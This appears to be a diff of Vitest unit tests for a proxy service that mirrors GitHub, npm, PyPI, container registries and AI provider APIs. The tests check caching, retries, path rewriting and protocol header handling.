import { afterEach, describe, expect, it, vi } from 'vitest';
import { createRequestContext } from '../../src/app/request-context.js';
import { CONFIG } from '../../src/config/index.js';
import { finalizeResponse } from '../../src/response/finalize-response.js';
import { resolveTarget } from '../../src/routing/resolve-target.js';
import { tryReadCachedResponse } from '../../src/upstream/cache.js';
import { fetchUpstreamResponse } from '../../src/upstream/fetch-upstream.js';
import { PerformanceMonitor } from '../../src/utils/performance.js';
afterEach(() => {
vi.restoreAllMocks();
});
describe('Pipeline modules', () => {
it('reuses cached full content for range requests through the cache helper', async () => {
const cache = {
match: vi
.fn()
.mockResolvedValueOnce(null)
.mockResolvedValueOnce(
new Response('full-body', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
)
};
const monitor = new PerformanceMonitor();
const markSpy = vi.spyOn(monitor, 'mark');
const request = new Request('https://example.com/gh/user/repo/file.txt', {
headers: { Range: 'bytes=0-3' }
});
const response = await tryReadCachedResponse({
cache: /** @type {Cache} */ (/** @type {unknown} */ (cache)),
cacheTargetUrl: 'https://github.com/user/repo/file.txt',
canUseCache: true,
hasSensitiveHeaders: false,
monitor,
request,
requestContext: createRequestContext(request, {})
});
expect(await response?.text()).toBe('full-body');
expect(markSpy).toHaveBeenCalledWith('cache_hit_full_content');
});
it('retries upstream fetches through the transport helper before succeeding', async () => {
const request = new Request('https://example.com/gh/user/repo/file.txt');
const requestContext = createRequestContext(request, {});
const fetchSpy = vi
.spyOn(globalThis, 'fetch')
.mockRejectedValueOnce(new Error('temporary-network-error'))
.mockResolvedValueOnce(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const result = await fetchUpstreamResponse({
authorization: null,
canUseCache: true,
config: { ...CONFIG, MAX_RETRIES: 2, RETRY_DELAY_MS: 0 },
effectivePath: '/gh/user/repo/file.txt',
monitor: new PerformanceMonitor(),
platform: 'gh',
request,
requestContext,
shouldPassthroughRequest: false,
targetUrl: 'https://github.com/user/repo/file.txt'
});
expect(result.responseGeneratedLocally).toBe(false);
expect(result.response.status).toBe(200);
expect(fetchSpy).toHaveBeenCalledTimes(2);
});
it('rewrites npm metadata and refreshes content length during response finalization', async () => {
const request = new Request('https://example.com/npm/pkg');
const requestContext = createRequestContext(request, {});
const upstreamBody = JSON.stringify({
dist: {
tarball: 'https://registry.npmjs.org/pkg/-/pkg-1.0.0.tgz'
}
});
const response = await finalizeResponse({
cache: null,
cacheTargetUrl: 'https://registry.npmjs.org/pkg',
canUseCache: true,
config: CONFIG,
ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }),
effectivePath: '/npm/pkg',
hasSensitiveHeaders: false,
monitor: new PerformanceMonitor(),
platform: 'npm',
request,
requestContext,
response: new Response(upstreamBody, {
status: 200,
headers: {
'Content-Type': 'application/json',
'Content-Length': String(upstreamBody.length)
}
}),
responseGeneratedLocally: false,
url: new URL(request.url)
});
const body = await response.text();
expect(body).toContain('https://example.com/npm/pkg/-/pkg-1.0.0.tgz');
expect(response.headers.get('Content-Length')).toBe(
String(new TextEncoder().encode(body).byteLength)
);
expect(response.headers.get('Cache-Control')).toBe(
'public, max-age=0, s-maxage=60, must-revalidate'
);
});
it('uses long-lived caching for immutable package artifacts', async () => {
const artifactCases = [
{
cacheTargetUrl: 'https://registry.npmjs.org/pkg/-/pkg-1.0.0.tgz',
effectivePath: '/npm/pkg/-/pkg-1.0.0.tgz',
platform: 'npm',
requestUrl: 'https://example.com/npm/pkg/-/pkg-1.0.0.tgz'
},
{
cacheTargetUrl:
'https://files.pythonhosted.org/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl',
effectivePath: '/pypi/files/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl',
platform: 'pypi-files',
requestUrl:
'https://example.com/pypi/files/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl'
},
{
cacheTargetUrl:
'https://files.pythonhosted.org/packages/source/r/requests/requests-2.31.0.tar.gz',
effectivePath: '/pypi/files/packages/source/r/requests/requests-2.31.0.tar.gz',
platform: 'pypi-files',
requestUrl:
'https://example.com/pypi/files/packages/source/r/requests/requests-2.31.0.tar.gz'
},
{
cacheTargetUrl: 'https://repo1.maven.org/maven2/org/example/demo/1.0.0/demo-1.0.0.jar',
effectivePath: '/maven/maven2/org/example/demo/1.0.0/demo-1.0.0.jar',
platform: 'maven',
requestUrl: 'https://example.com/maven/maven2/org/example/demo/1.0.0/demo-1.0.0.jar'
},
{
cacheTargetUrl: 'https://github.com/user/repo/releases/download/v1.2.3/file.tar.gz',
effectivePath: '/gh/user/repo/releases/download/v1.2.3/file.tar.gz',
platform: 'gh',
requestUrl: 'https://example.com/gh/user/repo/releases/download/v1.2.3/file.tar.gz'
}
];
for (const artifactCase of artifactCases) {
const request = new Request(artifactCase.requestUrl);
const requestContext = createRequestContext(request, {});
const response = await finalizeResponse({
cache: null,
cacheTargetUrl: artifactCase.cacheTargetUrl,
canUseCache: true,
config: CONFIG,
ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }),
effectivePath: artifactCase.effectivePath,
hasSensitiveHeaders: false,
monitor: new PerformanceMonitor(),
platform: artifactCase.platform,
request,
requestContext,
response: new Response('artifact-data', {
status: 200,
headers: {
'Content-Type': 'application/octet-stream',
'Content-Length': '13'
}
}),
responseGeneratedLocally: false,
url: new URL(request.url)
});
expect(response.headers.get('Cache-Control')).toBe(
'public, max-age=3600, s-maxage=86400, immutable'
);
}
});
it('does not treat mutable branch archives as immutable artifacts', async () => {
const archiveCases = [
{
cacheTargetUrl: 'https://github.com/user/repo/archive/refs/heads/main.zip',
effectivePath: '/gh/user/repo/archive/refs/heads/main.zip',
platform: 'gh',
requestUrl: 'https://example.com/gh/user/repo/archive/refs/heads/main.zip'
},
{
cacheTargetUrl:
'https://github.com/Homebrew/homebrew-cask/archive/refs/heads/master.tar.gz',
effectivePath: '/homebrew/homebrew-cask.git/archive/refs/heads/master.tar.gz',
platform: 'homebrew',
requestUrl:
'https://example.com/homebrew/homebrew-cask.git/archive/refs/heads/master.tar.gz'
},
{
cacheTargetUrl: 'https://github.com/user/repo/releases/download/latest/file.zip',
effectivePath: '/gh/user/repo/releases/download/latest/file.zip',
platform: 'gh',
requestUrl: 'https://example.com/gh/user/repo/releases/download/latest/file.zip'
},
{
cacheTargetUrl: 'https://files.pythonhosted.org/packages/source/p/pkg/latest.tar.gz',
effectivePath: '/pypi/files/packages/source/p/pkg/latest.tar.gz',
platform: 'pypi-files',
requestUrl: 'https://example.com/pypi/files/packages/source/p/pkg/latest.tar.gz'
},
{
cacheTargetUrl:
'https://files.pythonhosted.org/packages/py3/p/pkg/pkg-latest-py3-none-any.whl',
effectivePath: '/pypi/files/packages/py3/p/pkg/pkg-latest-py3-none-any.whl',
platform: 'pypi-files',
requestUrl: 'https://example.com/pypi/files/packages/py3/p/pkg/pkg-latest-py3-none-any.whl'
}
];
for (const archiveCase of archiveCases) {
const request = new Request(archiveCase.requestUrl);
const requestContext = createRequestContext(request, {});
const response = await finalizeResponse({
cache: null,
cacheTargetUrl: archiveCase.cacheTargetUrl,
canUseCache: true,
config: CONFIG,
ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }),
effectivePath: archiveCase.effectivePath,
hasSensitiveHeaders: false,
monitor: new PerformanceMonitor(),
platform: archiveCase.platform,
request,
requestContext,
response: new Response('archive-data', {
status: 200,
headers: {
'Content-Type': 'application/octet-stream',
'Content-Length': '12'
}
}),
responseGeneratedLocally: false,
url: new URL(request.url)
});
expect(response.headers.get('Cache-Control')).toBe(
'public, max-age=0, s-maxage=300, must-revalidate'
);
}
});
it('varies npm metadata cache keys by request origin after rewriting', () => {
const targetA = resolveTarget(
new URL('https://mirror-a.example/npm/pkg'),
'/npm/pkg',
CONFIG.PLATFORMS
);
const targetB = resolveTarget(
new URL('https://mirror-b.example/npm/pkg'),
'/npm/pkg',
CONFIG.PLATFORMS
);
expect('cacheTargetUrl' in targetA && targetA.cacheTargetUrl).toContain(
'__xget_origin=https%3A%2F%2Fmirror-a.example'
);
expect('cacheTargetUrl' in targetB && targetB.cacheTargetUrl).toContain(
'__xget_origin=https%3A%2F%2Fmirror-b.example'
);
expect('cacheTargetUrl' in targetA && 'cacheTargetUrl' in targetB).toBe(true);
if ('cacheTargetUrl' in targetA && 'cacheTargetUrl' in targetB) {
expect(targetA.cacheTargetUrl).not.toBe(targetB.cacheTargetUrl);
}
});
it('handles Docker 401 responses without auth challenges during finalization', async () => {
const request = new Request('https://example.com/cr/ghcr/v2/user/repo/manifests/latest');
const requestContext = {
...createRequestContext(request, {}),
isDocker: true
};
const customUnauthorized = await finalizeResponse({
cache: null,
cacheTargetUrl: 'https://ghcr.io/v2/user/repo/manifests/latest',
canUseCache: false,
config: CONFIG,
ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }),
effectivePath: '/cr/ghcr/v2/user/repo/manifests/latest',
hasSensitiveHeaders: false,
monitor: new PerformanceMonitor(),
platform: 'cr-ghcr',
request,
requestContext,
response: new Response('{"errors":[{"code":"UNAUTHORIZED"}]}', {
status: 401,
headers: { 'Content-Type': 'application/json' }
}),
responseGeneratedLocally: false,
url: new URL(request.url)
});
const plainUnauthorized = await finalizeResponse({
cache: null,
cacheTargetUrl: 'https://ghcr.io/v2/user/repo/manifests/latest',
canUseCache: false,
config: CONFIG,
ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }),
effectivePath: '/cr/ghcr/v2/user/repo/manifests/latest',
hasSensitiveHeaders: false,
monitor: new PerformanceMonitor(),
platform: 'cr-ghcr',
request,
requestContext,
response: new Response('denied', {
status: 401,
headers: { 'Content-Type': 'text/plain' }
}),
responseGeneratedLocally: false,
url: new URL(request.url)
});
expect(customUnauthorized.status).toBe(401);
expect(await customUnauthorized.text()).toContain('UNAUTHORIZED');
expect(plainUnauthorized.status).toBe(401);
expect(await plainUnauthorized.text()).toContain('Original error: denied');
});
it('preserves upstream protocol error responses during finalization', async () => {
const request = new Request('https://example.com/ip/openai/v1/chat/completions', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: '{}'
});
const requestContext = createRequestContext(request, {});
const upstreamBody = JSON.stringify({
error: {
message: 'bad key',
type: 'invalid_request_error'
}
});
const response = await finalizeResponse({
cache: null,
cacheTargetUrl: 'https://api.openai.com/v1/chat/completions',
canUseCache: false,
config: CONFIG,
ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }),
effectivePath: '/ip/openai/v1/chat/completions',
hasSensitiveHeaders: true,
monitor: new PerformanceMonitor(),
platform: 'ip-openai',
request,
requestContext,
response: new Response(upstreamBody, {
status: 401,
headers: {
'Content-Type': 'application/json',
'X-Upstream-Trace': 'trace-123'
}
}),
responseGeneratedLocally: false,
url: new URL(request.url)
});
expect(response.status).toBe(401);
expect(response.headers.get('X-Upstream-Trace')).toBe('trace-123');
expect(await response.text()).toBe(upstreamBody);
});
});
-31
View File
@@ -1,31 +0,0 @@
import { describe, expect, it } from 'vitest';
import { PLATFORM_CATALOG } from '../../src/config/platform-catalog.js';
import { PLATFORMS, SORTED_PLATFORMS, transformPath } from '../../src/config/platforms.js';
import { getPlatformPathPrefix } from '../../src/routing/platform-index.js';
import { transformPath as transformPlatformPath } from '../../src/routing/platform-transformers.js';
describe('Platform module boundaries', () => {
it('keeps the compatibility export wired to the platform catalog', () => {
expect(PLATFORMS).toBe(PLATFORM_CATALOG);
});
it('sorts platform keys by the longest routable prefix first', () => {
const prefixLengths = SORTED_PLATFORMS.map(
platformKey => getPlatformPathPrefix(platformKey).length
);
prefixLengths.forEach((length, index) => {
if (index < prefixLengths.length - 1) {
expect(length).toBeGreaterThanOrEqual(prefixLengths[index + 1]);
}
});
});
it('routes legacy transform imports through the dedicated transformer module', () => {
expect(transformPath('/crates/?q=tokio', 'crates')).toBe(
transformPlatformPath('/crates/?q=tokio', 'crates')
);
expect(transformPath('/jenkins/test-path', 'jenkins')).toBe('/current/test-path');
});
});
-516
View File
@@ -1,516 +0,0 @@
import { describe, expect, it } from 'vitest';
import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';
import { transformPath } from '../../src/routing/platform-transformers.js';
describe('Platform Configuration', () => {
describe('Platform Definitions', () => {
it('should have all required platforms defined', () => {
const requiredPlatforms = [
'gh',
'gist',
'gl',
'sf',
'gitea',
'codeberg',
'hf',
'civitai',
'npm',
'pypi',
'conda',
'flathub',
'homebrew'
];
requiredPlatforms.forEach(platform => {
expect(PLATFORMS).toHaveProperty(platform);
expect(PLATFORMS[platform]).toBeDefined();
});
});
it('should have valid base URLs for all platforms', () => {
Object.values(PLATFORMS).forEach(baseUrl => {
expect(baseUrl).toBeDefined();
expect(baseUrl).toMatch(/^https?:\/\/.+/);
});
});
it('should have unified transform function', () => {
expect(transformPath).toBeDefined();
expect(typeof transformPath).toBe('function');
});
});
describe('Unified Transform Function', () => {
it('should transform GitHub paths correctly', () => {
expect(transformPath('/gh/microsoft/vscode/archive/main.zip', 'gh')).toBe(
'/microsoft/vscode/archive/main.zip'
);
expect(transformPath('/gh/user/repo.git', 'gh')).toBe('/user/repo.git');
});
it('should transform GitHub Gist paths correctly', () => {
expect(transformPath('/gist/username/gist-id/raw/file.txt', 'gist')).toBe(
'/username/gist-id/raw/file.txt'
);
expect(transformPath('/gist/username/gist-id.git', 'gist')).toBe('/username/gist-id.git');
});
it('should transform GitLab paths correctly', () => {
expect(transformPath('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip', 'gl')).toBe(
'/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'
);
});
it('should transform SourceForge paths correctly', () => {
expect(
transformPath('/sf/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download', 'sf')
).toBe('/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download');
});
it('should transform Gitea paths correctly', () => {
expect(transformPath('/gitea/gitea/gitea/archive/master.zip', 'gitea')).toBe(
'/gitea/gitea/archive/master.zip'
);
});
it('should transform Codeberg paths correctly', () => {
expect(transformPath('/codeberg/forgejo/forgejo/archive/forgejo.zip', 'codeberg')).toBe(
'/forgejo/forgejo/archive/forgejo.zip'
);
});
it('should transform Hugging Face paths correctly', () => {
expect(transformPath('/hf/microsoft/DialoGPT-medium/resolve/main/config.json', 'hf')).toBe(
'/microsoft/DialoGPT-medium/resolve/main/config.json'
);
expect(transformPath('/hf/datasets/squad/resolve/main/train.json', 'hf')).toBe(
'/datasets/squad/resolve/main/train.json'
);
});
it('should transform Civitai paths correctly', () => {
expect(transformPath('/civitai/api/v1/models', 'civitai')).toBe('/api/v1/models');
expect(transformPath('/civitai/api/v1/model-versions/1318', 'civitai')).toBe(
'/api/v1/model-versions/1318'
);
expect(transformPath('/civitai/api/download/models/1105', 'civitai')).toBe(
'/api/download/models/1105'
);
});
it('should transform npm paths correctly', () => {
expect(transformPath('/npm/react/-/react-18.2.0.tgz', 'npm')).toBe(
'/react/-/react-18.2.0.tgz'
);
expect(transformPath('/npm/lodash', 'npm')).toBe('/lodash');
});
it('should transform PyPI paths correctly', () => {
expect(transformPath('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz', 'pypi')).toBe(
'/packages/source/r/requests/requests-2.31.0.tar.gz'
);
expect(transformPath('/pypi/simple/requests/', 'pypi')).toBe('/simple/requests/');
});
it('should transform PyPI files paths correctly', () => {
expect(
transformPath('/pypi/files/packages/source/r/requests/requests-2.31.0.tar.gz', 'pypi-files')
).toBe('/packages/source/r/requests/requests-2.31.0.tar.gz');
});
it('should transform conda default channel paths correctly', () => {
expect(transformPath('/conda/pkgs/main/linux-64/numpy-1.24.3.conda', 'conda')).toBe(
'/pkgs/main/linux-64/numpy-1.24.3.conda'
);
});
it('should transform conda community channel paths correctly', () => {
expect(
transformPath('/conda/community/conda-forge/linux-64/repodata.json', 'conda-community')
).toBe('/conda-forge/linux-64/repodata.json');
});
it('should transform Flathub paths correctly', () => {
expect(transformPath('/flathub/repo/summary', 'flathub')).toBe('/repo/summary');
expect(transformPath('/flathub/repo/flathub.flatpakrepo', 'flathub')).toBe(
'/repo/flathub.flatpakrepo'
);
});
it('should transform Fedora mirror paths correctly', () => {
expect(
transformPath(
'/fedora/pub/fedora/linux/releases/43/Everything/x86_64/os/repodata/repomd.xml',
'fedora'
)
).toBe('/releases/43/Everything/x86_64/os/repodata/repomd.xml');
expect(
transformPath('/fedora/releases/43/Everything/x86_64/os/repodata/repomd.xml', 'fedora')
).toBe('/releases/43/Everything/x86_64/os/repodata/repomd.xml');
});
it('should transform container registry paths correctly', () => {
expect(
transformPath('/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest', 'cr-ghcr')
).toBe('/v2/nginxinc/nginx-unprivileged/manifests/latest');
expect(transformPath('/cr/gcr/v2/distroless/base/manifests/latest', 'cr-gcr')).toBe(
'/v2/distroless/base/manifests/latest'
);
});
});
describe('Platform Base URLs', () => {
it('should have correct GitHub base URL', () => {
expect(PLATFORMS.gh).toBe('https://github.com');
});
it('should have correct GitHub Gist base URL', () => {
expect(PLATFORMS.gist).toBe('https://gist.github.com');
});
it('should have correct GitLab base URL', () => {
expect(PLATFORMS.gl).toBe('https://gitlab.com');
});
it('should have correct SourceForge base URL', () => {
expect(PLATFORMS.sf).toBe('https://sourceforge.net');
});
it('should have correct Gitea base URL', () => {
expect(PLATFORMS.gitea).toBe('https://gitea.com');
});
it('should have correct Codeberg base URL', () => {
expect(PLATFORMS.codeberg).toBe('https://codeberg.org');
});
it('should have correct Hugging Face base URL', () => {
expect(PLATFORMS.hf).toBe('https://huggingface.co');
});
it('should have correct npm base URL', () => {
expect(PLATFORMS.npm).toBe('https://registry.npmjs.org');
});
it('should have correct PyPI base URL', () => {
expect(PLATFORMS.pypi).toBe('https://pypi.org');
});
it('should have correct PyPI files base URL', () => {
expect(PLATFORMS['pypi-files']).toBe('https://files.pythonhosted.org');
});
it('should have correct conda base URLs', () => {
expect(PLATFORMS.conda).toBe('https://repo.anaconda.com');
expect(PLATFORMS['conda-community']).toBe('https://conda.anaconda.org');
});
it('should have correct Flathub base URL', () => {
expect(PLATFORMS.flathub).toBe('https://dl.flathub.org');
});
it('should use a Fedora mirror that avoids upstream bot challenges', () => {
expect(PLATFORMS.fedora).toBe('https://mirrors.kernel.org/fedora');
});
it('should have correct container registry base URLs', () => {
expect(PLATFORMS['cr-ghcr']).toBe('https://ghcr.io');
expect(PLATFORMS['cr-gcr']).toBe('https://gcr.io');
expect(PLATFORMS['cr-mcr']).toBe('https://mcr.microsoft.com');
});
});
describe('Path Transformation Edge Cases', () => {
it('should handle empty paths gracefully', () => {
Object.keys(PLATFORMS).forEach(key => {
expect(() => transformPath('', key)).not.toThrow();
});
});
it('should handle paths without platform prefix', () => {
Object.keys(PLATFORMS).forEach(key => {
const testPath = '/some/random/path';
expect(() => transformPath(testPath, key)).not.toThrow();
});
});
it('should handle unknown platform keys', () => {
const testPath = '/unknown/test/path';
expect(transformPath(testPath, 'unknown')).toBe(testPath);
});
it('should handle paths with query parameters', () => {
expect(transformPath('/gh/user/repo/file.txt?ref=main', 'gh')).toBe(
'/user/repo/file.txt?ref=main'
);
});
it('should handle paths with fragments', () => {
expect(transformPath('/gh/user/repo/README.md#section', 'gh')).toBe(
'/user/repo/README.md#section'
);
});
});
describe('URL Construction', () => {
it('should construct valid URLs for all platforms', () => {
Object.entries(PLATFORMS).forEach(([key, baseUrl]) => {
const testPath = `/${key.replace('-', '/')}/test/path`;
const transformedPath = transformPath(testPath, key);
const fullUrl = baseUrl + transformedPath;
expect(() => new URL(fullUrl)).not.toThrow();
});
});
it('should handle container registry URL construction', () => {
const testPath = '/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest';
const transformedPath = transformPath(testPath, 'cr-ghcr');
const fullUrl = PLATFORMS['cr-ghcr'] + transformedPath;
expect(() => new URL(fullUrl)).not.toThrow();
expect(fullUrl).toBe('https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest');
});
});
describe('Jenkins Plugin Support', () => {
it('should have Jenkins platform defined', () => {
expect(PLATFORMS).toHaveProperty('jenkins');
expect(PLATFORMS.jenkins).toBe('https://updates.jenkins.io');
});
it('should transform Jenkins paths correctly', () => {
// Update center JSON - should be redirected to current
expect(transformPath('/jenkins/update-center.json', 'jenkins')).toBe(
'/current/update-center.json'
);
expect(transformPath('/jenkins/update-center.actual.json', 'jenkins')).toBe(
'/current/update-center.actual.json'
);
// Plugin downloads - should preserve download paths
expect(
transformPath('/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi', 'jenkins')
).toBe('/download/plugins/maven-plugin/3.27/maven-plugin.hpi');
// Experimental update center - should preserve experimental paths
expect(transformPath('/jenkins/experimental/update-center.json', 'jenkins')).toBe(
'/experimental/update-center.json'
);
// Current paths - should preserve current paths
expect(transformPath('/jenkins/current/update-center.json', 'jenkins')).toBe(
'/current/update-center.json'
);
// Other paths - should be prefixed with current
expect(transformPath('/jenkins/test-path', 'jenkins')).toBe('/current/test-path');
});
it('should construct valid URLs for Jenkins services', () => {
const jenkinsUrls = [
'/jenkins/update-center.json',
'/jenkins/download/plugins/git/5.2.1/git.hpi',
'/jenkins/experimental/update-center.json',
'/jenkins/current/update-center.actual.json'
];
jenkinsUrls.forEach(path => {
const transformedPath = transformPath(path, 'jenkins');
const fullUrl = PLATFORMS.jenkins + transformedPath;
expect(() => new URL(fullUrl)).not.toThrow();
});
});
});
describe('Container Registry Support', () => {
it('should have all major container registries defined', () => {
const containerRegistries = [
'cr-quay',
'cr-gcr',
'cr-mcr',
'cr-ecr',
'cr-ghcr',
'cr-gitlab',
'cr-redhat',
'cr-oracle',
'cr-cloudsmith',
'cr-digitalocean',
'cr-vmware',
'cr-k8s',
'cr-heroku',
'cr-suse',
'cr-opensuse',
'cr-gitpod'
];
containerRegistries.forEach(registry => {
expect(PLATFORMS).toHaveProperty(registry);
expect(PLATFORMS[registry]).toBeDefined();
expect(typeof PLATFORMS[registry]).toBe('string');
});
});
it('should use the correct Amazon ECR Public base URL', () => {
expect(PLATFORMS['cr-ecr']).toBe('https://public.ecr.aws');
});
it('should transform all container registry paths correctly', () => {
const containerRegistries = [
'cr-quay',
'cr-gcr',
'cr-mcr',
'cr-ecr',
'cr-ghcr',
'cr-gitlab',
'cr-redhat',
'cr-oracle',
'cr-cloudsmith',
'cr-digitalocean',
'cr-vmware',
'cr-k8s',
'cr-heroku',
'cr-suse',
'cr-opensuse',
'cr-gitpod'
];
containerRegistries.forEach(registry => {
const prefix = registry.replace('cr-', 'cr/');
const testPath = `/${prefix}/v2/test/image/manifests/latest`;
const transformedPath = transformPath(testPath, registry);
expect(transformedPath).toBe('/v2/test/image/manifests/latest');
});
});
});
describe('AI Inference Providers Support', () => {
it('should have all major AI inference providers defined', () => {
const aiProviders = [
'ip-openai',
'ip-anthropic',
'ip-gemini',
'ip-vertexai',
'ip-cohere',
'ip-mistralai',
'ip-xai',
'ip-githubmodels',
'ip-nvidiaapi',
'ip-perplexity',
'ip-braintrust',
'ip-groq',
'ip-cerebras',
'ip-sambanova',
'ip-huggingface',
'ip-together',
'ip-replicate',
'ip-fireworks',
'ip-nebius',
'ip-jina',
'ip-voyageai',
'ip-falai',
'ip-novita',
'ip-burncloud',
'ip-openrouter',
'ip-poe',
'ip-featherlessai',
'ip-hyperbolic'
];
aiProviders.forEach(provider => {
expect(PLATFORMS).toHaveProperty(provider);
expect(PLATFORMS[provider]).toBeDefined();
expect(typeof PLATFORMS[provider]).toBe('string');
expect(PLATFORMS[provider]).toMatch(/^https:\/\/.+/);
});
});
it('should transform AI inference provider paths correctly', () => {
const testCases = [
{
provider: 'ip-openai',
inputPath: '/ip/openai/v1/chat/completions',
expectedPath: '/v1/chat/completions'
},
{
provider: 'ip-anthropic',
inputPath: '/ip/anthropic/v1/messages',
expectedPath: '/v1/messages'
},
{
provider: 'ip-gemini',
inputPath: '/ip/gemini/v1beta/models/gemini-2.5-flash:generateContent',
expectedPath: '/v1beta/models/gemini-2.5-flash:generateContent'
},
{
provider: 'ip-cohere',
inputPath: '/ip/cohere/v1/generate',
expectedPath: '/v1/generate'
},
{
provider: 'ip-huggingface',
inputPath: '/ip/huggingface/models/meta-llama/Llama-2-7b-chat-hf',
expectedPath: '/models/meta-llama/Llama-2-7b-chat-hf'
},
{
provider: 'ip-together',
inputPath: '/ip/together/v1/chat/completions',
expectedPath: '/v1/chat/completions'
},
{
provider: 'ip-replicate',
inputPath: '/ip/replicate/v1/predictions',
expectedPath: '/v1/predictions'
},
{
provider: 'ip-groq',
inputPath: '/ip/groq/openai/v1/chat/completions',
expectedPath: '/openai/v1/chat/completions'
}
];
testCases.forEach(({ provider, inputPath, expectedPath }) => {
const transformedPath = transformPath(inputPath, provider);
expect(transformedPath).toBe(expectedPath);
});
});
it('should construct valid URLs for AI inference providers', () => {
const aiProviders = [
'ip-openrouter',
'ip-openai',
'ip-anthropic',
'ip-gemini',
'ip-cohere',
'ip-huggingface',
'ip-together',
'ip-replicate',
'ip-groq',
'ip-fireworks',
'ip-mistralai',
'ip-perplexity'
];
aiProviders.forEach(provider => {
const testPath = `/ip/${provider.replace('ip-', '')}/v1/test`;
const transformedPath = transformPath(testPath, provider);
const baseUrl = PLATFORMS[provider];
// Skip dynamic URLs with placeholders
if (!baseUrl.includes('{')) {
const fullUrl = baseUrl + transformedPath;
expect(() => new URL(fullUrl)).not.toThrow();
}
});
});
});
});
-136
View File
@@ -1,136 +0,0 @@
import { describe, expect, it } from 'vitest';
import { configureAIHeaders } from '../../src/protocols/ai.js';
import { configureGitHeaders, isGitLFSRequest, isGitRequest } from '../../src/protocols/git.js';
import {
configureHuggingFaceHeaders,
isHuggingFaceAPIRequest
} from '../../src/protocols/huggingface.js';
describe('Protocol helper coverage', () => {
it('detects Git requests from service queries and content types', () => {
const serviceRequest = new Request('https://example.com/repo.git?service=git-receive-pack');
const contentTypeRequest = new Request('https://example.com/repo.git', {
method: 'POST',
headers: { 'Content-Type': 'application/x-git-upload-pack-request' }
});
expect(isGitRequest(serviceRequest, new URL(serviceRequest.url))).toBe(true);
expect(isGitRequest(contentTypeRequest, new URL(contentTypeRequest.url))).toBe(true);
});
it('detects Git LFS requests from object paths and headers', () => {
const infoRequest = new Request('https://example.com/repo.git/info/lfs');
const objectRequest = new Request(
'https://example.com/repo.git/objects/0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef'
);
const headerRequest = new Request('https://example.com/repo.git/download', {
headers: { Accept: 'application/vnd.git-lfs+json' }
});
expect(isGitLFSRequest(infoRequest, new URL(infoRequest.url))).toBe(true);
expect(isGitLFSRequest(objectRequest, new URL(objectRequest.url))).toBe(true);
expect(isGitLFSRequest(headerRequest, new URL(headerRequest.url))).toBe(true);
});
it('configures standard Git upload and receive pack headers', () => {
const uploadHeaders = new Headers();
const uploadRequest = new Request('https://example.com/repo.git/git-upload-pack', {
method: 'POST'
});
configureGitHeaders(uploadHeaders, uploadRequest, new URL(uploadRequest.url), false);
const receiveHeaders = new Headers();
const receiveRequest = new Request('https://example.com/repo.git/git-receive-pack', {
method: 'POST'
});
configureGitHeaders(receiveHeaders, receiveRequest, new URL(receiveRequest.url), false);
expect(uploadHeaders.get('User-Agent')).toBe('git/2.34.1');
expect(uploadHeaders.get('Content-Type')).toBe('application/x-git-upload-pack-request');
expect(receiveHeaders.get('User-Agent')).toBe('git/2.34.1');
expect(receiveHeaders.get('Content-Type')).toBe('application/x-git-receive-pack-request');
});
it('preserves existing Git headers when already provided', () => {
const headers = new Headers({
'Content-Type': 'application/custom',
'User-Agent': 'custom-git/9.9.9'
});
const request = new Request('https://example.com/repo.git/git-upload-pack', {
method: 'POST'
});
configureGitHeaders(headers, request, new URL(request.url), false);
expect(headers.get('User-Agent')).toBe('custom-git/9.9.9');
expect(headers.get('Content-Type')).toBe('application/custom');
});
it('configures Git LFS batch and object download headers', () => {
const batchHeaders = new Headers();
const batchRequest = new Request('https://example.com/repo.git/objects/batch', {
method: 'POST'
});
configureGitHeaders(batchHeaders, batchRequest, new URL(batchRequest.url), true);
const objectHeaders = new Headers();
const objectRequest = new Request(
'https://example.com/repo.git/objects/0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef'
);
configureGitHeaders(objectHeaders, objectRequest, new URL(objectRequest.url), true);
expect(batchHeaders.get('User-Agent')).toContain('git-lfs/');
expect(batchHeaders.get('Accept')).toBe('application/vnd.git-lfs+json');
expect(batchHeaders.get('Content-Type')).toBe('application/vnd.git-lfs+json');
expect(objectHeaders.get('Accept')).toBe('application/octet-stream');
});
it('detects Hugging Face API and token passthrough endpoints', () => {
const apiRequest = new Request('https://example.com/hf/api/models/demo');
const tokenRequest = new Request('https://example.com/hf/token');
const regularRequest = new Request(
'https://example.com/hf/meta-llama/model/resolve/main/config.json'
);
expect(isHuggingFaceAPIRequest(apiRequest, new URL(apiRequest.url))).toBe(true);
expect(isHuggingFaceAPIRequest(tokenRequest, new URL(tokenRequest.url))).toBe(true);
expect(isHuggingFaceAPIRequest(regularRequest, new URL(regularRequest.url))).toBe(false);
});
it('configures Hugging Face headers without overwriting explicit content types', () => {
const headers = new Headers();
const request = new Request('https://example.com/hf/api/models/demo', {
method: 'POST',
headers: { Authorization: 'Bearer secret-token' }
});
configureHuggingFaceHeaders(headers, request);
const preconfiguredHeaders = new Headers({ 'Content-Type': 'multipart/form-data' });
configureHuggingFaceHeaders(preconfiguredHeaders, request);
expect(headers.get('Authorization')).toBe('Bearer secret-token');
expect(headers.get('Content-Type')).toBe('application/json');
